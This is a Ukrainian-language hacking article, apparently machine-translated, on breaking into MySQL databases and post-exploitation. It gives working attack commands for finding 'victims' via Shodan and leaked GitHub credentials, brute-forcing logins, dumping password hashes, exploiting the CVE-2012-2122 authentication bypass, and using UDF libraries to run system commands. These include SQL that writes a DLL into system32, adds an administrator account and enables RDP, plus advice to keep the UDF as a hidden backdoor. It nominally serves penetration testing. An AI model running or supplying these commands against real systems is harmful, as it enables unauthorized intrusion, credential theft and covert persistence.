Статьи

Методи і засоби злому баз даних MySQL

  1. Зміст статті MySQL - одна з найпоширеніших СУБД. Її можна зустріти всюди, але найбільш часто вона...
  2. WWW
  3. Пошук жертв
  4. SHODAN
  5. GitHub
  6. інструментарій
  7. Збір інформації
  8. брутфорс
  9. Постексплуатація
  10. Сканування на CVE-2012-2122
  11. бородатий UDF
  12. Сценарій використання UDF
  13. висновок

Зміст статті

MySQL - одна з найпоширеніших СУБД. Її можна зустріти всюди, але найбільш часто вона використовується численними сайтами. Саме тому безпека бази даних - дуже важливе питання, бо якщо зловмисник отримав доступ до бази, то є велика ймовірність, що він скомпрометує ресурс, але і всю локальну мережу. Тому я вирішив зібрати всю корисну інфу по злому і постексплуатаціі MySQL, все трюки і прийоми, які використовуються при проведенні пентестов, щоб ти зміг перевірити свою СУБД. 0day-технік тут не буде: хтось ще раз повторить теорію, а хтось почерпне щось нове. Отже, поїхали!

замість передмови

Почнемо з визначення. MySQL - це реляційна система управління базами даних, яка володіє різними двигунами зберігання даних: MyISAM, InnoDB, Archive і іншими. Як і у більшості open source проектів, у неї є свої відгалуження, наприклад MariaDB. Забігаючи вперед, скажу, що більшість розглянутих векторів / технік / багів поширюється на різні движки і на відгалуження, правда не завжди.

WWW

Різні версії MySQL під різні платформи можна взяти тут

Пошук жертв

Але перейдемо безпосередньо до справи. Для того щоб кого-небудь поламати, потрібно його для початку знайти. Припустимо, що ми вже знаємо, хто наша жертва, знаємо його IP або знаходимося в його локальної мережі. Нам потрібно просканувати його адресу (мережа) на наявність відкритих портів. За стандартом MySQL використовує порт 3306, його ми і будемо шукати. В арсеналі кожного хакера повинен бути присутнім сканер Nmap, який дозволяє знаходити різні сервіси, порти на цільових машинах. Приклад команди для сканування виглядає наступним чином:

nmap -sV -PN -p <port> <ip>

  • -PN - дуже корисна річ, яка вказує програмі пропускати етап виявлення хоста і відразу переходити до сканування портів. Це потрібно в тому випадку, якщо машина не відповідає на ping-сканування, але при цьому у машини можуть бути відкриті порти. У такому випадку без цього прапора Nmap пропустить даний хост;
  • -sV досліджує відкриті порти з метою отримання інформації про службу.

Для UDP-сканування повинен бути присутнім прапор -sU.

nmap -sV -Pn -p 3306 172.16.2.114 Nmap scan report for 172.16.2.114 Host is up (0.00013s latency). PORT STATE SERVICE VERSION 3306 / tcp open mysql MySQL (unauthorized)

SHODAN

Якщо у тебе немає певної жертви і ти хочеш протестувати свої навички, то можеш скористатися хакерських пошукачем Shodan . Він дозволяє робити пошук по хостам і виводити інформацію про різноманітні сервіси на основі банерів відповідей. Також має можливість фільтрувати по портам, країні, місту, операційним системам і так далі. Одна з відмінних фішок - пошук сервісів з анонімної авторизацією або авторизацією зі стандартними кредит. Дуже корисний сервіс, але найкраще проводити тести вразливостей на своїх локальних ресурсах :).

Дуже корисний сервіс, але найкраще проводити тести вразливостей на своїх локальних ресурсах :)

Мал. 1. Результати пошуку MySQL в Shodan

GitHub

Одна з крутих фішок легкого доступу до баз даних - пошук початкових кодів будь-яких проектів на GitHub. Перш ніж шукати і розкручувати SQL Inj на сайті, що може зайняти досить тривалий час (якщо такі взагалі присутні), досить просто зайти на всіма улюблений сайт для спільної розробки, вписати пару слів і при належному везіння отримати доступ до сорци. Багато розробники в силу незрозумілих причин заливають свої проекти в загальний доступ - може, по дурості, може, їм шкода грошей на приватний репозиторій, а може, вони хочуть поділитися з усім світом своїм чудовим кодом, але на GitHub лежить величезна купа початкових кодів, від маленьких сайтик до великих проектів. Це часто сильно спрощує роботу. Припустимо, якщо ми введемо такий пошуковий запит username mysql password database, то можна просто втратити свідомість від кількості результатів. Особливо багато солодких PHP-файлів, в яких прописується коннект до бази даних.

Особливо багато солодких PHP-файлів, в яких прописується коннект до бази даних

Мал. 2. Наочні результати з пошуку кредів MySQL на GitHub

Тому перш за все на пентестах ми біжимо і перевіряємо GitHub на наявність початкових кодів клієнта. Якщо щось знаходиться, то можна сміливо коннектіться до бази даних, після чого, відштовхуючись від прав, отримувати потрібні нам дані. Але якщо вже вийшло так, що ми не змогли знайти заповітних рядків username / password, не варто впадати у відчай - можна поритися в исходниках сайтів, якщо вони присутні, і проводити аудит вже не наосліп, а з вихідним кодом сервісу. Він значно полегшує завдання пошуку вразливостей: тепер ми будемо не просто фазіть навмання, а перевіряти певні вектори, збудовані на основі початкових кодів. Наприклад, дивитися, в яких місцях проводиться звернення до бази, використовується чи фільтрація даних від клієнта і так далі.

інструментарій

Для пошуку ін'єкцій існують різні способи: автоматично або вручну вставляти всюди лапки (фаззінга); використовувати фішку з Гітхабом, сподіваючись на необережність розробників досліджуваного сервісу. І нарешті настав момент істини: ми знайшли нашу довгоочікувану ін'єкцію і готові впроваджуватися по повній. Але ось біда, у нас з'явилися невідкладні справи (друзі звуть попити пива), або нас здолала жахлива необоримая лінь. Не варто засмучуватися, на допомогу прийде відмінна тулза sqlmap , Яка автоматизує процес пошуку і експлуатації SQL-ін'єкцій, і не просто знайде дірку в безпеці, а проексплуатірует її по повній програмі. Підтримує всі види ін'єкцій. Функціонал sqlmap дозволяє: дампи бази, автоматично шукати в базі, витягувати і розшифровувати логіни і паролі, запускати cmd shell, запускати інтерактивний sql shell, в якому тобі потрібно тільки писати SQL-запити в базу, а sqlmap сам складе payload для ін'єкції. існує відмінний Cheet Sheet , Який в двох сторінках показує всі можливості даної тулзи.

Є ще кілька інструментів, які стануть в нагоді тобі в нелегкій справі підкорення MySQL. В особливому поданні вони не потребують, так як напевно ти про них уже не раз (не одну тисячу разів) чув. Перший - Metasploit, одна з ключових програм для хакинга, що дозволяє створювати експлойти, проводити їх налагодження. Другий - сканер Nmap, про який в журналі теж не раз писали.

Інформації по всім перерахованим інструментів вистачає з надлишком, тому ми не будемо заглиблюватися в деталі їх використання, хто їх ще не юзал - обов'язково повинен це зробити, а Google і офіційні сайти йому в цьому допоможуть. Ми ж рухаємося далі.

Збір інформації

Потрібно почати з самого простого - збору інформації. В Metasploit для цього служить auxiliary / scanner / mysql / mysql_version, просто сканер версій, який може сканувати цілий пул адрес:

msf> use auxiliary / scanner / mysql / mysql_version msf auxilary (mysql_version)> set RHOSTS 172.16.2.54 msf auxilary (mysql_version)> exploit

У Nmap також існує модуль, який підключається до сервера і виводить різну корисну інформацію: протокол, номер версії, стан і сіль.

nmap -sV -sC <target>

брутфорс

Серед основних речей, які доводиться часто виконувати, звичайно, брутфорс - перевірка на слабкі або стандартні паролі користувачів. Але перш ніж приступати до підбору паролів, можна провести атаку user enumeration (перерахування користувачів). Її можна провести проти серверів версії 5.x, які підтримують старі механізми аутентифікації (CVE-2012-5615). Після сканування ми будемо знати, які користувачі існують в базі, що значно скорочує пул користувачів для бруторса.

nmap --script mysql-enum <target>

Склавши наш пул імен і паролів, приступаємо до Брут:

msf> use auxiliary / scanner / mysql / mysql_login msf auxiliary (mysql_login)> set USER_FILE / root / login / logins msf auxiliary (mysql_login)> set PASS_FILE / root / login / password msf auxiliary (mysql_login)> set RHOSTS 172.16.2.54 msf auxiliary (mysql_login)> exploit

Nmap використовує стандартні списки паролів і користувачів, але завжди можна взяти свої:

nmap --script mysql-brute <target> --script-args userdb = <path> - підключаємо свій список логінів --script-args passdb = <path> - підключаємо свій список паролів

До речі кажучи, ось тобі відмінний репозиторій , Де можна знайти найпопулярніші логіни, паролі і не тільки. Ну і звичайно при Брутфорс виконується ще одна проста, але досить важлива перевірка на порожній пароль для користувача root або anonymous:

nmap -sV --script = mysql-empty-password <target>

Постексплуатація

Наступний важливий крок, який настає після отримання логіну / пароля (через ін'єкцію або повним перебором), - це постексплуатація. Я перерахую різні модулі для Nmap'а і їх призначення. Отже, модуль, який виробляє висновок баз даних:

nmap -sV --script mysql-databases <target>

Модуль, який виробляє висновок користувачів:

nmap -sV --script mysql-users <target>

Модуль, який виробляє висновок змінних:

nmap -sV --script mysql-variables <target>

Модуль, який виробляє висновок користувачів і їх хешів у вигляді, зручному для брутфорса:

nmap -p 3306 <ip> --script mysql-dump-hashes -script args = 'username = root, password = secret' msf> use auxiliary / admin / mysql / mysql_hashdump

Модуль, який замінює клієнт MySQL і відправляє запити в віддалену базу:

nmap -p 3306 <ip> --script mysql-query --script- \ args = 'query = "<query>" [, username = <username>, password = <password>]' msf> use auxiliary / admin / mysql / mysql_sql

Сканування на CVE-2012-2122

Окремо варто згадати про один цікавий модуль, який присутній як в Metasploit, так і в Nmap, - модуль перевірки на CVE-2012-2122 . Дана уразливість дозволяє віддаленим користувачам обходити аутентифікацію через неналежну перевірки значень, що повертаються. Існує можливість авторизації з неправильним паролем з ймовірністю 1/256, так як MySQL вважає, що прийшов токен від користувача і очікуване значення рівні. Використовуючи відоме ім'я користувача (наприклад, root, який присутній практично завжди) з будь-яким паролем, можна підключитися до бази, повторюючи підключення близько 300 разів. Після чого можна сдампіть всі паролі користувачів, сбрутфорсіть їх і коннектіться вже з легітимним паролем. Але не все так добре, як здається, - даної уразливості схильні тільки збірки, де функція memcmp () повертає значення за межами діапазону від -128 до 127, тобто це досить обмежене число систем:

  • Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04);
  • OpenSuSE 12.1 64-bit MySQL 5.5.23-log;
  • Debian Unstable 64-bit 5.5.23-2;
  • Fedora;
  • Arch Linux.

Але якщо є навіть сама незначна можливість потрапити в базу, то варто спробувати:

msf> use auxiliary / scanner / mysql / mysql_authbypass_hashdump msf auxiliary (mysql_authbypass_hashdump)> set RHOSTS 172.16.2.54 msf auxiliary (mysql_authbypass_hashdump)> set USERNAME root msf auxiliary (mysql_authbypass_hashdump)> exploit

Для Nmap при скануванні потрібно використовувати скрипт mysql-vuln-cve2012-2122:

nmap -sV --script mysql-vuln-cve2012-2122 <target>

бородатий UDF

В далекі-далекі часи, коли ще у всесвіті MySQL не було введено тригерів і збережених процедур, існувала підтримка User-Defined Function (певні користувачем функції). Але в сучасному світі дана фішка теж має місце бути і підтримується до сих пір в якості зовнішніх збережених функцій. Дані функції не просто комбінують різні SQL-оператори в якийсь певний запит, а ще й сильно розширюють функціональність самої бази. Так як, на відміну від Oracle Database, в MySQL не існує наикрутейший Java-машини, за допомогою якої можна трощити все і вся в базі, одним з нечисленних способів виконувати команди на сервері через базу залишається UDF. За часів 4-й версії MySQL це був експлойт Raptor , Але він мав ряд обмежень, в тому числі несумісність з MySQL 5.0 і вище.
В даний момент існує легальна бібліотека, яку можна завантажити з легального сайту . Вона містить в собі чотири функції:

  1. sys_eval (arg1) - виконує довільну команду і повертає висновок зовнішньої команди.
  2. sys_exec (arg1) - виконує довільну команду і повертає код повернення.
  3. sys_get (arg1) - дозволяє отримати змінну оточення або NULL, якщо такої немає.
  4. sys_set (arg1, arg2) - дозволяє задати змінну оточення (параметри: ім'я змінної, значення), повертає 0 в разі успіху.

Бібліотека встановлюється в один із шляхів / usr / lib / mysql, / usr / lib / mysql / plugin / або інші в залежності від системи. Після чого приходить час виконувати команди в базі. Але спочатку треба створити функцію:

CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

А потім можна вже і виконувати з її допомогою різні команди:

select sys_eval ( 'whoami');

Щоб створювати і видаляти функції, необхідно володіти привілеями INSERT і DELETE. Тому проексплуатувати дану багу можна, тільки якщо у користувача, до якого ти маєш доступ, виставлена ​​привілей FILE, що дозволяє читати і записувати файли на сервер за допомогою операторів LOAD DATA INFILE і SELECT ... INTO OUTFILE. Даний варіант завжди варто перевірити, адже недбайливі адміни ще існують. Найчастіше дуже багато працюють з базою від імені root'а, тому навіть ін'єкції може вистачити, щоб роздобути повний контроль над машиною. Переглянути привілеї можна в таблиці user, db, host, tables_priv і columns_priv в базі mysql. set mysql; - для зміни бази, select * from user; - для виведення таблиці.
Друга умова - функція lib_mysqludf_sys вже встановлена ​​в MySQL. Далі все просто - створюєш функцію, виконуєш команди.
Ще один варіант - це власноручний установка в якості бекдора в системі. Якщо тобі потрібен віддалений, прихований доступ до системи, то варіант прокачування бази за допомогою легітимною, власноручного установки lib_mysqludf_sys виглядає хорошим способом.

Техніка ця не нова, і тому все до нас вже зроблено і автоматизовано, так що не доведеться самому встановлювати функцію, якщо під рукою є Metasploit:

use exploit / windows / mysql / mysql_payload msf exploit (mysql_payload)> set PASSWORD qwertн msf exploit (mysql_payload)> set RHOST 172.16.2.54 msf exploit (mysql_payload)> set USERNAME root msf exploit (mysql_payload)> exploit

Те ж саме вміє робити і sqlmap, так що, якщо ти знайшов ін'єкцію, далі можеш сміливо віддавати кермо влади йому.

Сценарій використання UDF

Один з можливих сценаріїв заливки шелла / підвищення привілеїв може виглядати таким чином. Для початку потрібно отримати доступ до самої бази (користувачеві root або іншому, котрий володіє привілеєм FILE) через ін'єкцію, брутфорс чи інакше. Після чого нам потрібно отримати копію бібліотеки UDF на атакується машині, враховуючи операційну систему і її бітность. Можна скористатися варіантами, що входять до складу sqlmap, які можна взяти тут . До речі, в даному репозиторії присутні бібліотеки і для Windows. Закинути копію бібліотеки на сервер можна по-різному:

  • використовуючи функціонал сайту по завантаженню картинок, файлів і іншого;
  • через відкритий або зламаний FTP-сервер.

Наступним кроком є ​​виконання SQL-запитів для того, щоб завантажити наш шелл в таблицю, після чого витягти його в потрібну нам папку (/ usr / lib для Linux, c: \ windows \ system32 для Windows). Далі ми створюємо нову функцію в MySQL, тепер у нас є робочий шелл і можливість RCE на сервері.

Приклад для Windows зі створенням користувача:

mysql> USE mysql; mysql> CREATE TABLE bob (line blob); mysql> INSERT INTO bob values ​​(load_file ( 'C: /xampplite/htdocs/mail/lib_mysqludf_sys.dll')); mysql> SELECT * FROM mysql.bob INTO DUMPFILE 'c: /windows/system32/lib_mysqludf_sys.dll'; mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll'; mysql> SELECT sys_exec ( "net user bob password / add"); mysql> SELECT sys_exec ( "net localgroup Administrators bob / add");

Як варіант, можна підключити RDP:

reg add "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server" / v fDenyTSConnections / t REG_DWORD / d 0 / f

висновок

Точок входження в чужу базу MySQL не так вже й багато у порівнянні з іншими СУБД: SQL Injection, пошук логінів і паролів на GitHub, брутфорс, вразливість до Багам з паблік. До методів постексплуатаціі можна ще додатково віднести підвищення привілеїв , DoS-атаки , Застосування тригерів і збережених процедур. Правда, окремі з них відносяться до окремих випадків, які нечасто можна зустріти або для яких потрібні дуже специфічні умови.

Я ж хотів показати тобі, як можна швидко і без особливих зусиль перевірити потрібну базу. Як бачиш, в даний момент все стало автоматизованим, що дозволяє проводити перевірку у фоновому режимі, займаючись своїми справами. На цьому все. І пам'ятай, що велика сила накладає велику відповідальність :).

Новости